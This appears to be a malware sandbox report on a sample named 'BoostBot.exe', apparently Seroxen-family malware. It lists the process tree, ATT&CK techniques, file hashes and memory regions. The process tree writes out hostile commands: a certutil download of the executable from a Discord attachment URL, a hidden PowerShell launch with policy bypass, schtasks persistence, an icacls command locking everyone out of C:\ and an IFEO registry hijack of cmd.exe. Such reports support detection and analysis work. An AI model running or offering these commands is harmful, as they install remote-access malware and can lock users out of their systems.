certutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe
3⤵
PID:1728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452

C:\Users\Admin\AppData\Local\Temp\BoostBot.exe
"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4872

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:1220

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
6⤵
- Creates scheduled task(s)
PID:736

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:1964

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /delete /tn "$sxr-powershell" /f
6⤵
PID:4468

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:2260

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\0ABQZ9vpfDyy.bat" "
6⤵
PID:4344

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:1452

C:\Windows\SysWOW64\chcp.com
chcp 65001
7⤵
PID:1680

C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
7⤵
- Runs ping.exe
PID:4844

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:3224

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77$sxr-powershell.exe" /tr "'C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe'" /sc onlogon /rl HIGHEST
6⤵
- Creates scheduled task(s)
PID:2292

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
5⤵
- Executes dropped EXE
PID:3328

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST
5⤵
- Creates scheduled task(s)
PID:2788

C:\Windows\system32\icacls.exe
icacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T
3⤵
- Modifies file permissions
PID:4576

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
3⤵
PID:4116

C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
3⤵
- Views/modifies file attributes
PID:3108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3668

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4008

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4076

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2380

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:1344

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2020

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1060

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1968

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4472

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
338B

MD5
c8bb570fdf65f36c672565379773bc29

SHA1
bb9e8b5cd163fb9692323a09fadb77b4a9e2976c

SHA256
3ee7dce7bfe50816d5c29ce7a711c54ad19ffe2ca922d885839ba9209b567e6f

SHA512
eef2eb6292cb446a55580496f8e6cfc3713bed1cd9eb0e59b003761bbad43e8c6254239dc46237bf13249c533a294f747001fa9f9345b6b6e66ec757938ffa03

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E

Filesize
556B

MD5
e68e1b4de4efbaff9b2e87c08dfbcae5

SHA1
851ea75a673b58993a8e6e53d253f13a40843904

SHA256
a8fc6777040f978d4f7937b077e94b52f90de16d9d563deef179a9b420e64448

SHA512
3d272bdefb9be37222c2e4fefc4821330af84d0ae805733b0b6d285a889edff3fa7906d823a51cb24d4f3ef6630d4ac6779da1891bed5e4bb2ea2a7d1e61e3b6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Filesize
408B

MD5
16ba62b8cbd5ade52cdabbb9e664dfec

SHA1
cc07358db62a5c20a307bd18a2e8a1c672f33d88

SHA256
7de96fe9fe7d7e3569ea32252fccb01062c979fc922b4b2e7ed9b41c65b39db6

SHA512
2327c6c037c4f587bd6fb69a26b23e6ad99109578fe46599c26a5e8ca105a418f7dd673da7a17233ed16d4b0d232d6169192d8a19d30b517d96a3793353e806f

Download Submit
C:\Users\Admin\AppData\Local\Temp\0ABQZ9vpfDyy.bat

Filesize
283B

MD5
c98aca83de480c65c7d9746a1908a8fc

SHA1
133224d52f1b2514d018b39193199d795fa3ee28

SHA256
5cc44ba41f8d7e83c7eff9fccdedfb792cdd133b9fcf613a3183e2202e08f4a0

SHA512
d8c97b08d4dc94fb0ab0f6c33be06500be005b200f7dccabe834981a88478ee8931e28ae6af7a2637237109161b24b576b0fa1775ce5aea58803d3be5c2614b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe

Filesize
409KB

MD5
404ab800bbe49c36bd64d0d73600b59a

SHA1
4c8dff2702fada108f7477ad357067310b584366

SHA256
5465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154

SHA512
d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iropsubf.pdx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$SXR-LOGS\05-12-~1

Filesize
224B

MD5
305ae6a69a1e7dc3ff1b7de7e89e5ec1

SHA1
b5e4886c0e23896ad91ff5e823e8b94abf1641df

SHA256
db99ec9aaa781c9d50c2b7572633fb374ff230368c3bbe52c647b407143549e5

SHA512
84fda52eb647c2d8d8168536b48f8c005d3a09f4472d87a8e7a27fc91a0fe31fb062566d945033d9e15b104d08285fa3b0b3351ae8f7f33088f6bd4bf2d680c3

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aa187cac09f051e24146ad549a0f08a6

SHA1
2ef7fae3652bb838766627fa6584a6e3b5e74ff3

SHA256
7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f

SHA512
960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/316-124-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/316-123-0x00000146D9190000-0x00000146D91BB000-memory.dmp

Filesize
172KB

Download
memory/316-117-0x00000146D9190000-0x00000146D91BB000-memory.dmp

Filesize
172KB

Download
memory/408-129-0x0000021EF84C0000-0x0000021EF84EB000-memory.dmp

Filesize
172KB

Download
memory/612-82-0x0000019D96FC0000-0x0000019D96FE5000-memory.dmp

Filesize
148KB

Download
memory/612-83-0x0000019D96FF0000-0x0000019D9701B000-memory.dmp

Filesize
172KB

Download
memory/612-90-0x0000019D96FF0000-0x0000019D9701B000-memory.dmp

Filesize
172KB

Download
memory/612-91-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/612-84-0x0000019D96FF0000-0x0000019D9701B000-memory.dmp

Filesize
172KB

Download
memory/676-102-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/676-101-0x00000241CEBA0000-0x00000241CEBCB000-memory.dmp

Filesize
172KB

Download
memory/676-95-0x00000241CEBA0000-0x00000241CEBCB000-memory.dmp

Filesize
172KB

Download
memory/952-113-0x00007FFE0F630000-0x00007FFE0F640000-memory.dmp

Filesize
64KB

Download
memory/952-112-0x000001D226900000-0x000001D22692B000-memory.dmp

Filesize
172KB

Download
memory/952-106-0x000001D226900000-0x000001D22692B000-memory.dmp

Filesize
172KB

Download
memory/1300-56-0x0000000006A80000-0x0000000006A8A000-memory.dmp

Filesize
40KB

Download
memory/2064-78-0x00007FFE4E160000-0x00007FFE4E21E000-memory.dmp

Filesize
760KB

Download
memory/2064-77-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/2064-76-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2064-69-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2064-70-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2064-71-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2064-72-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2064-79-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2452-26-0x00007FFE30DE0000-0x00007FFE318A1000-memory.dmp

Filesize
10.8MB

Download
memory/2452-9-0x00007FFE30DE3000-0x00007FFE30DE5000-memory.dmp

Filesize
8KB

Download
memory/2452-11-0x00000203FBAB0000-0x00000203FBAD2000-memory.dmp

Filesize
136KB

Download
memory/2452-20-0x00007FFE30DE0000-0x00007FFE318A1000-memory.dmp

Filesize
10.8MB

Download
memory/2452-21-0x00007FFE30DE0000-0x00007FFE318A1000-memory.dmp

Filesize
10.8MB

Download
memory/2960-66-0x00000231D36E0000-0x00000231D370A000-memory.dmp

Filesize
168KB

Download
memory/2960-67-0x00007FFE4F5B0000-0x00007FFE4F7A5000-memory.dmp

Filesize
2.0MB

Download
memory/2960-68-0x00007FFE4E160000-0x00007FFE4E21E000-memory.dmp

Filesize
760KB

Download
memory/4872-30-0x0000000004F20000-0x0000000004F86000-memory.dmp

Filesize
408KB

Download
memory/4872-29-0x0000000004E80000-0x0000000004F12000-memory.dmp

Filesize
584KB

Download
memory/4872-28-0x0000000005430000-0x00000000059D4000-memory.dmp

Filesize
5.6MB

Download
memory/4872-27-0x00000000004C0000-0x000000000052C000-memory.dmp

Filesize
432KB

Download
memory/4872-31-0x0000000005410000-0x0000000005422000-memory.dmp

Filesize
72KB

Download
memory/4872-32-0x0000000006000000-0x000000000603C000-memory.dmp

Filesize
240KB

Download